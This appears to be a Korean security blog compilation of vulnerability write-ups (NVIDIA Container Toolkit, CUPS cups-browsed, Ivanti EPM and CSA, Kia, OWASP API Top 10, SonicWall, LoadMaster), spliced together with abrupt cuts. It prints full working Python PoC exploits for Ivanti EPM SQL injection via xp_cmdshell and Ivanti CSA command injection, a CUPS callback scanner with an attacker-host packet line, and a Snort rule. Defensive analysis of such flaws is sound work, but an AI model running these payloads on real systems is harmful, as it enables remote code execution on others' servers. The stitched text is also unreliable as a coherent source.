- 컨테이너 런타임 라이브러리와 NVIDIA GPU를 활용하도록 컨테이너를 자동으로 구성하는 유틸리티가 포함 - Docker 컨테이너 내에서 NVIDIA GPU를 효율적으로 활용할 수 있도록 만들어진 도구 > 일반적인 환경에서 Docker를 동작 시키면 Host의 CPU를 기반으로 Docker가 생성되며, GPU를 사용할 수 없음 > 과거에는 GPU를 사용하기 위해 컨테이너 내에 NVIDIA GPU 드라이버를 설치하였으나, 안전성-하드웨어와 컨테이너의 드라이버 버전을 매번 맞춰야하는-문제가 있음 > NVIDIA Container Toolkit은 Container에서 GPU를 사용시 libcuda.so와 같은 Host에 있는 CUDA Toolkit들을 마운트해주는 역할
※ CUDA(Computed Unified Device Architecture) Toolkit: 고성능 GPU 가속 애플리케이션을 만드는 개발 환경을 제공 [2]
2. 취약점 [3]
2.1 CVE-2024-0132
[사진 1] CVE-2024-0132 [4]
- NVIDIA Container Toolkit에서 발생하는 TOCTOU 취약점 (CVSS: 9.0)
> 악성 이미지를 통해 실행되는 컨테이너를 탈출해 호스트 시스템에 대한 전체 액세스 권한을 얻을 수 있음
> 악용에 성공할 경우 코드 실행, 서비스 거부(DoS), 권한 상승, 정보 유출, 데이터 변조 등의 공격을 유발할 수 있음
※ 구체적인 기술적 세부 사항은 공개하지 않음
영향받는 버전: NVIDIA Container Toolkitv 1.16.1 이하 버전
2.1.1 TOCTOU (Time-Of-Check to Time-Of-Use) 취약점
- 자원을 사용하는 시점과 검사하는 시점이 달라서 자원의 상태변동으로 야기되는 Race Condition 취약점
> 병렬시스템(멀티프로세스로 구현한 응용프로그램)에서는 자원(파일, 소켓 등)을 사용하기에 앞서 자원의 상태를 검사
> 하지만, 자원을 사용하는 시점과 검사하는 시점이 다르기 때문에, 검사하는시점(Time Of Check)에 존재하던 자원이 사용하던 시점(Time Of Use)에 사라지는 등 자원의 상태가 변하는 경우가 발생
- 동기화 구문을 통해 한번에 하나의 프로세스만 공유자원에 접근 가능하도록 처리
> 성능에 미치는 영향을 최소화하기 위해 임계코드 주변만(동기화가 필요한 부분만) 동기화 구문을 사용
2.1.2 공격 과정
[영상 1] 공격 과정 [5]
① 공격자는 악성 이미지를 제작해 유포한 후 대상 플랫폼에서 악성 이미지 실행 > 공급망 또는 사회공학적기법을 사용해 이미지 실행을 유도 ② CVE-2024-0132를 악용해 호스트 파일 시스템에 엑세스 ③ Container Runtime Socket을 이용해 호스트 시스템에서 임의의 명령 실행 > docker.sock 및 containerd.sock 악용: root 권한으로 호스트 시스템에서 컨테이너로 임의의 명령을 실행할 수 있음
2.2 CVE-2024-0133
[사진 2] CVE-2024-0133 [6]
- 컨테이너 이미지가 호스트 파일 시스템에 빈 파일을 생성할 수 있는 취약점
영향받는 버전: NVIDIA Container Toolkitv 1.16.1 이하 버전
※ 두 취약점 모두 CDI (Container Device Interface)가 사용되는 경우 영향받지 않음 > CDI (Container Device Interface): 컨테이너 런타임에서 NVIDIA GPU와 같은 복잡한 디바이스에 대한 액세스를 표준화 [7]
> IP가 0.0.0.0인 것은 모든 네트워크 인터페이스에서 수신을 대기라고 응답한다는 것을 의미
[사진 1] netstat -anu
- cups-browsed는 CUPS 시스템의 일부로, 새로운 프린터를 발견하고 자동으로 시스템에 추가해줌
> root로 실행
> /etc/cups/cups-browsed.conf를 설정하여 접근 가능 여부를 설정할 수 있음
[사진 2] cups-browsed
2.취약점 [2]
- CUPS의 cups-browsed 데몬에서 발생하는 취약점
> 공격자가 취약점을 연계하여 악용할 경우 네트워크를 통해 악성 프린터를 추가하고, 사용자가 인쇄 작업을 시작할 때 임의의 코드를 실행할 수 있음
- Akamai의 연구에 따르면 DDoS 공격에 활용될 경우 600배 증폭될 수 있음을 확인 [3]
> 공격자가 CUPS 서버를 속여 대상 장치를 추가할 프린터로 처리하도록 할 때 발생 > 취약한 CUPS 서버로 전송된 각 패킷은 대상 장치를 겨냥한 더 큰 IPP/HTTP 요청을 생성 > 공격 대상과 CUPS 서버 모두에 대역폭과 CPU 리소스 소모를 유발
[사진 3] Shodan title:"CUPS" 검색 결과
서비스명
영향받는 버전
cups-browsed
2.0.1 이하
libcupsfilters
2.1b1 이하
libppd
2.1b1 이하
cups-filters
2.0.1 이하
2.1 주요내용
2.1.1 CVE-2024-47176
- CUPS의 cups-browsed는 631포트로 모든 네트워크 인터페이스의 모든 패킷을 신뢰([사진 1] 0.0.0.0:631)
> 공격자는 자신이 제어하는 IPP 서버(이하 악성 IPP 서버)를 시작한 다음 대상 시스템으로 UDP 패킷전송
> 피해 시스템이 공격자가 제어하는 IPP 서버에 다시 연결되고 User-Agent 헤더에 CUPS 및 커널 버전 정보가 공개됨
0 3 hxxp://<ATACKER-IP>:<PORT>/printers/whatever
[사진 4] CVE-2024-47176 [4]
2.1.2 CVE-2024-47076
- 피해 시스템은 악성 IPP 서버에 프린터 속성을 요청하며 악성 IPP 서버는 기본 프린터 속성을 전송
> libcupsfilters.cfGetPrinterAttributes()는 반환된 IPP 속성을 검증하거나 정리하지 않고 반환된 IPP 속성을 기반으로 임시 PPD 파일을 생성
※ libcupsfilters: 프린터 애플리케이션에서 필요한 데이터 형식 변환 작업에 사용되는 라이브러리 함수 ※ PostScript Printer Description (PPD): PostScript 프린터의 설정 정보뿐만 아니라 일련의 PostScript 명령 코드도 포함
[사진 5] CVE-2024-47076 [5]
2.1.3 CVE-2024-47175
- 공격자는 FoomaticRIPCommandLine을 통해 PPD 파일에 악성 코드 주입
> libppd.ppdCreatePPDFromIPP2()는 임시 PPD 파일에 IPP 속성을 쓸 때 IPP 속성을 검증하거나 정리하지 않아 공격자가 제어하는 데이터를 PPD 파일에 주입할 수 있음
> 명령 출력 결과가 “Active: inactive (dead)” 포함된 경우 취약점에 영향받지 않음
> 명령 출력 결과가 “Active: active (running)”이고, 구성 파일 /etc/cups/cups-browsed.conf의 "BrowseRemoteProtocols" 지시문에 "cups" 값이 포함되어 있는 경우 ⒝dpkg -l | grep -E 'cups-browsed|cups-filters|libcupsfilters|libppd'
> stop: 단순 중지 / disable: 시스템 부팅 시 자동으로 시작되지 않도록 설정
③ 방화벽 설정 강화
> $ sudo ufw deny proto udp from any to any port 631
④ 취약 여부를 확인할 수 있는 스캐너 활용 [11]
⒜ 동작 과정
> 기본 HTTP 서버를 설정(RCE 취약점을 악용하지 않으므로 프린터로 식별할 필요가 없음) > cups-browsed을 통해 HTTP 서버에 연결하도록 지시하는 UDP 패킷 생성 > 포트 631의 주어진 범위에 있는 모든 IP로 UDP 패킷 전송 > 취약한 cups-browsed 인스턴스로 인해 트리거되는 모든 POST 요청을 /printers/ 엔드포인트에 기록합니다.
⒝ 결과
> 스캔 결과는 총 2개의 Log에 기록
> cups.log_응답한 장치의 IP&CUOS 버전 정보 기록
> requests.log_심층 분석에 사용할 수 있는 수신한 원시 HTTP 요청이 기록
#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer
# a simple function to enable easy changing of the timestamp format
def timestamp():
return time.strftime("%Y-%m-%d %H:%M:%S")
# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
# replace default access log behavior (logging to stderr) with logging to access.log
# log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
def log_message(self, _format, *_args):
log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
f'{self.headers["User-Agent"]}\n'
self.server.access_log.write(log_line)
self.server.access_log.flush()
# log raw requests from cups-browsed instances including POST data
def log_raw_request(self):
# rebuild the raw HTTP request and log it to requests.log for debugging purposes
raw_request = f'[{timestamp()}]\n'
raw_request += f'{self.requestline}\r\n'
raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())
content_length = int(self.headers.get('Content-Length', 0))
if content_length > 0:
raw_body = self.rfile.read(content_length)
self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
else:
self.server.request_log.write(raw_request.encode('utf-8'))
self.server.request_log.flush()
# response to all requests with a static response explaining that this server is performing a vulnerability scan
# this is not required, but helps anyone inspecting network traffic understand the purpose of this server
def send_static_response(self):
self.send_response(200, 'OK')
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')
# handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
def do_GET(self):
self.send_static_response()
# handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
def do_POST(self):
# we'll just grab all requests starting with /printers/ to make sure we don't miss anything
# some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
if self.path.startswith('/printers/'):
ip, port = self.client_address
# log the cups-browsed request to cups.log and requests.logs and output to console
print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
self.server.cups_log.flush()
self.log_raw_request()
self.send_static_response()
# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
def __init__(self, server_address, handler_class, log_dir='logs'):
super().__init__(server_address, handler_class)
# create 'logs' directory if it doesn't already exist
log_dir = 'logs'
if not os.path.exists(log_dir):
os.makedirs(log_dir)
# create three separate log files for easy debugging and analysis
# access.log - any web requests
# cups.log - ip, port, useragent, and request URL for any request sent to CUPS endpoint
# requests.log - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
self.access_log = open(f'{log_dir}/access.log', 'a')
self.request_log = open(f'{log_dir}/requests.log', 'ab')
self.cups_log = open(f'{log_dir}/cups.log', 'a')
def shutdown(self):
# close all log files on shutdown before shutting down
self.access_log.close()
self.request_log.close()
self.cups_log.close()
super().shutdown()
# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
host, port = callback_server.split(':')
port = int(port)
if port < 1 or port > 65535:
raise RuntimeError(f'invalid callback server port: {port}')
server_address = (host, port)
_httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
print(f'[{timestamp()}] callback server running on port {host}:{port}...')
# start the HTTP server in a separate thread to avoid blocking the main thread
server_thread = threading.Thread(target=_httpd.serve_forever)
server_thread.daemon = True
server_thread.start()
return _httpd
def scan_range(ip_range, callback_server, scan_unsafe=False):
# the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
# we can set the printer to any http server as long as the path starts with /printers/ or /classes/
# we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')
# expand the CIDR notation into a list of IP addresses
# make scanning only host addresses the default behavior (exclude the network and broadcast address)
# the user can override this with flag --scan-unsafe
if scan_unsafe:
ip_range = list(ipaddress.ip_network(ip_range))
else:
ip_range = list(ipaddress.ip_network(ip_range).hosts())
if len(ip_range) < 1:
raise RuntimeError("error: invalid ip range")
print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')
# send the CUPS command to each IP on port 631 to trigger a callback to our callback server
for ip in ip_range:
ip = str(ip)
udp_socket.sendto(udp_callback, (ip, 631))
# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
print(f'[{timestamp()}] shutting down server and exiting...')
_httpd.shutdown()
sys.exit(0)
if __name__ == '__main__':
parser = argparse.ArgumentParser(
prog='python3 scanner.py',
description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
)
parser.add_argument('--callback', required=True, dest='callback_server',
help='the host:port to host the callback server on (must be reachable from target network) '
'example: --callback 192.168.0.1:1337')
parser.add_argument('--targets', required=True, dest='target_ranges',
help='a comma separated list of ranges '
'example: --targets 192.168.0.0/24,10.0.0.0/8')
parser.add_argument('--scan-unsafe', required=False, default=False, action='store_true', dest='scan_unsafe',
help='Typically the first and last address in a CIDR are reserved for the network address and '
'broadcast address respectively. By default we do not scan these as they should not be '
'assigned. However, you can override this behavior by setting --scan-unsafe')
args = parser.parse_args()
try:
# start the HTTP server to captures cups-browsed callbacks
print(f'[{timestamp()}] starting callback server on {args.callback_server}')
httpd = start_server(args.callback_server)
# register sigint handler to capture CTRL + C
signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))
# split the ranges up by comma and initiate a scan for each range
targets = args.target_ranges.split(',')
print(f'[{timestamp()}] starting scan')
for target in targets:
scan_range(target, args.callback_server, args.scan_unsafe)
print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')
# loop until user uses CTRL + C to stop server
while True:
time.sleep(1)
except RuntimeError as e:
print(e)
- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]
> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약
> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입
> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행
[사진 2] RecordGoodApp() SQL 문
- 취약점 흐름은 다음과 같음
[사진 3] 호출 흐름
2.2 PoC [4]
- /WSStatusEvents/EventHandler.asmx URL로 POST 요청 - GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행
※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저
import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()
XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<UpdateStatusEvents xmlns="http://tempuri.org/">
<deviceID>string</deviceID>
<actions>
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
<status>GoodApp=1|md5={}</status>
</Action>
</actions>
</UpdateStatusEvents>
</soap12:Body>
</soap12:Envelope>
"""
SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"
def get_cmd_arrays(cmd_file):
try:
with open(cmd_file, 'r') as f:
cmds = f.read().split('\n')
cmds = [c for c in cmds if c]
return cmds
except Exception as e:
sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
return []
def exploit(url, command):
h = {'Content-Type': 'application/soap+xml' }
sqli_payload = SQLI_PAYLOAD.format(command)
xml_payload = XML_PAYLOAD.format(sqli_payload)
try:
r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
if r.status_code == 200:
print(f'[+] Successfully sent payload to server')
else:
print(f'[-] Unexpected response from server')
except TimeoutError:
# Expected to timeout given it keeps connection open for process duration
pass
except ReadTimeout:
# Expected to timeout given it keeps connection open for process duration
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
args = parser.parse_args()
commands = get_cmd_arrays(args.cmd_file)
for command in commands:
exploit(args.url, command)
[사진 4] Exploit 예시
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [5]
> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결
- 탐지룰 적용
> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]
alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)
- 해외 연구팀이 기아 차량의 번호판만으로 차량에 명령을 내릴 수 있는 취약점 발견 [1] - 모든 기아 차량에 영향 받으며, 기아 Connect 구독 여부와 관계없이 차량 하드웨어가 장착된 경우 공격 가능 - 공격자는 개인정보(차량 소유주 이름, 전화번호, 이메일, 실주소 등)뿐만아니라 차량의 제어권을 획득할 수 있음
2. 주요 내용
- 연구진은 웹사이트 owners.kia[.]com와 Kia Connect iOS 앱 com.myuvo[.]link 분석 > 두 애플리케이션은 인터넷을 통해 차량 제어 명령을 보낼 수 있음
※ 웹 사이트는 백엔드 역방향 프록시를 사용해 사용자 명령을 실제 차량 명령을 실행하는 api.owners.kia.com 백엔드 서비스로 전달 ※ 앱은 해당 API에 직접 액세스
- owners.kia[.]com 웹사이트에서 차량 문 잠금 해제를 위한 HTTP 요청
[사진 1] 요청 예시
- 서버는 JSESSIONID를 사용해 Sid 세션 ID 생성 및 백엔드 API에 요청 전달
> Sid는 세션 토큰, Vinkey는 차대번호(VIN_차량 식별에 사용되는 고유한 일련 번호)와 매핑되는 UUID
[사진 2] 요청 예시
2.1 Kia 딜러 인프라 취약점
- 연구진은 Kia에서 새 차를 구매할때, 차량 등록을 위해 고객에게 보내는 이메일에서 URL을 발견
> VIN 파라미터는 딜러가 생성한 일회성 토큰으로, 파라미터로 지정된 차량을 수정할 수 있음
- Ivanti Cloud Service Appliance(CSA)에서 발생하는 OS 명령 삽입 취약점
> 공격자가 해당 취약점을 악용하기 위해서 관리자 수준의 권한이 있어야 함
영향받는 버전: Ivanti CSA 4.6
- DateTimeTab.php의 handleDateTimeSubmit() [2]
> HTTP 요청을 구문 분석 > TIMEZONE 파라미터를 인수로 setSystemTimezone() 호출
[사진 2] DateTimeTab.php setSystemTimezone()
- DateTimeTab.php의 setSystemTimezone()는 변수에 대한 검증없이 exec() 호출
[사진 3] setSystemTimezone()
- 공개된 PoC 확인 시 /gsb/datetime.php URL로 POST 요청 및 TIMEZONE 변수에 OS 명령 삽입 [3] > CSA는 admin:admin의 기본 자격 증명을 제공하며, 해당 자격 증명으로 로그인 시 비밀번호 업데이트를 강제 > 침해가 발생하거나 공격을 받은 시스템의 경우 로그인한 적이 없거나, 취약한 비밀번호를 사용한 것으로 판단됨
#!/usr/bin/python3
import argparse
import re
import requests
import sys
import urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit(url, username, password, command):
u = username
p = password
s = requests.Session()
r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
if m:
ldcsa = m.group(1)
print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
else:
print(f"[-] Failed getting LDCSA_CRSF token")
sys.exit(0)
payload = {
"dateTimeFormSubmitted": "1",
"TIMEZONE": f"; `{command}` ;",
"CYEAR": "2024",
"CMONTH": "9",
"CDAY": "13",
"CHOUR": "12",
"CMIN": "34",
"LDCSA_CSRF": ldcsa,
"SUBMIT_TIME": "Save"
}
print(f"[*] Sending payload...")
r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
parser.add_argument('--username', help='The application username', required=True)
parser.add_argument('--password', help='The application password', required=True)
parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
args = parser.parse_args()
exploit(args.url, args.username, args.password, args.command)
[사진 4] 익스플로잇 예시
1.1 CVE-2024-8963
[사진 5] CVE-2024-8963 [4]
- Ivanti CSA에서 발생하는 경로 탐색 취약점 (CVSS: 9.1) > 익스플로잇에 성공한 공격자는 인증을 우회하여 제한된 기능에 액세스할 수 있음 > CVE-2024-8190와 함께 악용할 경우 공격자는 인증을 우회하여 임의의 명령을 실행할 수 있음
영향받는 버전: Ivanti CSA 4.6
- 벤더사는 업데이트 제공 [5][6]
> 입력값에 대한 검증 과정 추가 > CSA 4.6 버전은 EoL(지원 종료)로 더 이상 지원되지 않아 빠른 업데이트 필요[7]
> 여러 프로그램들과 데이터베이스, 그리고 기능들의 상호 통신 방법을 규정하고 도와주는 매개체
API 유형
REST API (REpresentational State Transfer)
- HTTP로 하이퍼 미디어 콘텐츠를 전송하기 위한 하나의 아키텍처 스타일 - 6가지 원칙: 통일된 인터페이스, 클라이언트-서버 구조, 상태 없음(Stateless), 캐시 가능(Cacheable), 계층화 시스템, 주문형 코드 - 단순하기 때문에 현재 가장 널리 쓰이는 API - 단일한 표준 REST 구조 없음, 큰 페이로드, 데이터 과다/과소 가져오기 등 단점 - 데이터 지향형
GraphQL API
- 데이터 처리 부담을 서버로 옮김으로써 REST QPI의 데이터 과다/과소 가져오기 문제를 해결 - 장점: 정교한 질의 가능, 중첩, 강 타입 적용, 발견성 - 단점: DoS에 취약, 필요 이상의 많은 데이터 노출 - 데이터 지향형
RPC API (Remote Procedure Call)
- 클라이언트는 Stub 라이브러리를 이용해 네트워크로 전송되며, 서버는 호출 정보를 복원한 후 서버 쪽 Stub에서 프로시저 실행 및 결과 반환 - 특정 작업을 원격으로 실행해야 하는 명령 지향적 응용 프로그램들에서 주로 쓰임 - 동작 지향형
SOAP API (Simple Object Access Protocol)
- 서비스 지향적인 XML 기반 웹 통신 프로토콜로, 표준화되어 있음 - 뛰어난 확장성 - 복잡한 구현과 큰 데이터 페이로드
WebSocket API
- 웹 소켓 통신 프로토콜에 기반한 API
API 데이터 형식
XML (eXtensible Markup Language)
- 자료형(데이터 타입)과 독립적 - 내용과 표현을 분리하도록 설계 - 확장성 - 복잡성과 큰 용량 문제로 많이 쓰이지는 않음
JSON (JavaScript Object Notation)
- 데이터는 키-값 쌍들로 표현 - 키는 항상 문자열이므로 큰따옴표로 감싸야 하며, 값은 정수, 부울형, 문자열 또는 널 값
YAML (YAML Ain't Markup Language)
- JSON의 불편함(주석 지원 X, 유연하지 않은 문법 등)을 해소하기 위해 만들어짐
OAS (Open API Specification-명세)
- API의 행동을 정의하기 위한, 사람이 읽기 쉬운 표준 규격으로, 개방형 표준 - OAS에 따라 API를 정의할 때는 YAML, JSON 모두 사용가능 - OAS 정의서부터 만든 후 API 개발 및 운영을 진행하는 방식을 설계 우선 접근 방식
- API는 데이터 접속의 표준화 및 편의성, 자동화와 확장성 등 많은 장점을 제공
- 그러나, API는 공격자에게도 인기가 많음
① 타 시스템과의 상호 연결을 위해 공용 네트워크에 노출된 경우가 많아 공격자 발견 및 접근에 용이
② 개발 및 통합을 위해 문서화가 잘 되어있어 공격자가 API 작동 방식을 파악하는데 용이
③ 스크립트나 전용 도구를 이용해서 손쉽게 공격을 자동화할 수 있음
④API는 핵심 데이터 자산에 대한 접근을 제공하기 위한 것으로, 공격자의 관심을 끌 수 있는 데이터
⑤ 기존 보안 도구들은 API 보안에 적합하지 않음
- OWASP는 2019년 API Top 10을 공개 후 2023년 목록을 갱신 [1]
OWASP API Security Top10 2023
API1:2023 - Broken Object Level Authorization
- API는 개체 식별자를 처리하는 엔드포인트를 노출시키는 경향이 있어 개체 수준 액세스 제어 문제의 광범위한 공격 표면 생성 - 사용자의 ID를 사용하여 데이터 소스에 액세스하는 모든 기능에서 객체 권한 수준을 확인해야 함
API2:2023 - Broken Authentication
- 인증 메커니즘은 종종 잘못 구현되어 공격자가 인증 토큰을 훼손하거나 구현 결함을 악용하여 일시적 또는 영구적으로 다른 사용자의 ID를 탈취할 수 있음 - 클라이언트/사용자를 식별하는 시스템의 기능을 훼손하면 전반적인 API 보안이 손상됨
- API3:2019 과도한 데이터 노출 및 API6:2019 대량 할당을 결합 - 근본 원인인 개체 속성 수준에서 권한 부여 유효성 검사가 부족하거나 부적절한 취약점 - 이에 따라 권한 없는 사람이 정보를 노출하거나 조작할 수 있음
API4:2023 - Unrestricted Resource Consumption
- API 요청을 충족하려면 네트워크 대역폭, CPU, 메모리 및 스토리지와 같은 리소스가 필요 - 이메일/SMS/전화 통화 또는 생체 인식 유효성 검사와 같은 기타 리소스는 API 통합을 통해 서비스 공급자가 사용할 수 있으며 요청량에 따라 비용이 빌생 - 이에 따른 서비스 거부 또는 운영 비용이 증가 가능
API5:2023 - Broken Function Level Authorization
- 계층, 그룹 및 역할이 다르고 관리 기능과 일반 기능이 명확하지 않은 복잡한 액세스 제어 정책은 권한 부여 문제가 될 수 있음 - 이를 악용해 다른 사용자의 리소스 및/또는 관리 기능에 액세스할 수 있음
API6:2023 - Unrestricted Access to Sensitive Business Flows
- 취약한 API는 기능이 자동화된 방식으로 과도하게 사용되면 비즈니스 흐름을 노출
API7:2023 - Server Side Request Forgery
- SSRF 결함은 API가 사용자 제공 URI의 유효성을 검사하지 않고 원격 리소스를 가져올 때 발생할 수 있음 - 이를 통해 방화벽이나 VPN으로 보호될 때에도 응용 프로그램이 예기치 않은 대상으로 제작된 요청을 보낼 수 있음
API8:2023 - Security Misconfiguration
- API와 이를 지원하는 시스템은 API를 보다 사용자 정의할 수 있도록 하기 위한 복잡한 구성을 포함 - 잘못된 구성을 하여 다양한 유형의 공격 표면을 노출할 수 있음
API9:2023 - Improper Inventory Management
- API는 기존 웹 애플리케이션보다 더 많은 엔드포인트를 노출하고 있어 적절한 명세가 업데이트 되어야 함 - 더 이상 사용되지 않는 API 버전 및 노출된 디버그 엔드포인트가 생기지 않도록 문서가 관리 및 갱신되어야 함
API10:2023 - Unsafe Consumption of APIs
- 개발자는 사용자 입력보다 서드 파티 API에서 받은 데이터를 더 신뢰하는 경향이 있으므로 더 취약한 보안 표준이 적용될 수 있음
- API 보안 목표
> 오용(Misuse), 남용(Abuse)에 대한 고려-자동화된 스크립팅, 봇, 스크래핑 등-정상적인 사용자 활동과 구별이 어려움
> 데이터거버넌스: 통일적인 API 보안 전략에서 꼭 고려할 사항
> 양성 보안 모델: 허용 목록에 미리 등록해둔 정상적 행위자만 API 백엔드에 접근 가능
> 위험 기반 방법론: 위험도 분석에 기반한 API 보안 우선순위 결정
> 접근제어: API에 접근하는 것이 누구인지 확인하는 인증과 누가 API에 접근할 수 있는지를 결정하는 권한 부여
- SonicWall이 개발한 네트워크 보안 운영 체제 - 주로 방화벽 및 보안 장비에 사용
2. CVE-2024-40766
[사진 1] CVE-2024-40766 [1]
- SonicWall SonicOS 관리 액세스의 부적절한 액세스 제어 취약성 (CVSS: 9.3) > 네트워크 자원에무단 접근을 허용하거나 방화벽을 충돌시켜 네트워크 보호 기능을 무력화할 수 있음 > 취약점이 처음 공개된 당시 SonicOS 관리 액세스 기능에만 영향을 미치는 것으로 알려졌으나, SSLVPN 기능에도 영향을 미치는 것으로 확인됨 > 취약점과 관련된 구체적인 정보를 공개하지 않았으나, 현재 악용되는 중으로, Akira 랜섬웨어 조직이 취약점을 악용하는 중 [2]
- 벤더사 제공 최신 업데이트 적용 [3][4]
> 추가적으로 방화벽 관리 액세스 제한, SSLVPN 비밀번호 재설정, MFA 적용, SSLVPN 액세스 제어 또는 비활성화 등 조치 권고
제품명
영향받는 버던
해결 버전
SOHO (Gen5)
5.9.2.14-12o 이하
5.9.2.14-13o
Gen6 방화벽 - SOHOW, TZ 300, TZ 300W, TZ 400, TZ 400W, TZ 500, TZ 500W, TZ 600, NSA 2650, NSA 3600, NSA 3650, NSA 4600, NSA 4650, NSA 5600, NSA 5650, NSA 6600, NSA 6650, SM 9200, SM 9250, SM 9400, SM 9450, SM 9600, SM 9650, TZ 300P, TZ 600P, SOHO 250, SOHO 250W, TZ 350, TZ 350W
- Progress Software社에서 개발한 SW - 대규모 조직에서 앱 성능 최적화, 네트워크 트래픽 관리, 높은 서비스 가용성 보장을 위해 사용하는 ADC 및 부하 분산 솔루션 - Multi-Tenant Hypervisor 버전은 멀티 테넌트 환경을 위해 설계된 LoadMaster 버전으로, 동일한 하드웨어에서 여러 가상 네트워크 기능을 실행할 수 있음
2. CVE-2024-7591
[사진 1] CVE-2024-7591 [2]
- Progress LoadMaster의 부적절한 입력 검증 취약점으로 인한 OS 명령 삽입 취약점 (CVSS: 10.0) > 조작된 HTTP 요청을 보냄으로써 익스플로잇 해 관리자 인터페이스에 접근할 수 있게 되며, 이후 임의 OS 명령을 실행시킬 수 있음 > PoC 및 악용 시도는 확인되지 않음